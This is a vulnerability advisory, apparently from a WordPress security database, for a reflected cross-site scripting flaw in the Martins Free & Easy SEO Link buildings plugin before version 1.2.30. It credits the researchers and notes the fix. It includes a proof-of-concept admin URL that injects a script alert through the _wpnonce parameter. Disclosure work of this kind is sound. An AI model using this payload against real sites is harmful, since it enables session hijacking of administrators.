WordPress Plugin Vulnerabilities

Martins Free & Easy SEO Link buildings < 1.2.30 - Reflected XSS

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

Make a logged in amin open
https://example.com/wp-admin/plugins.php?action=deactivate&plugin=martins-link-network%2FmartinsLinkNetwork.php&plugin_status=all&paged=1&s&_wpnonce=%27%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E%3Ca%20href=%27

Affects Plugins

Fixed in 1.2.30

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
Claudio Marchesini, Enrico Marcolini
Submitter
Claudio Marchesini, Enrico Marcolini
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-11-06 (about 6 months ago)
Added
2023-11-06 (about 6 months ago)
Last Updated
2023-11-06 (about 6 months ago)

Other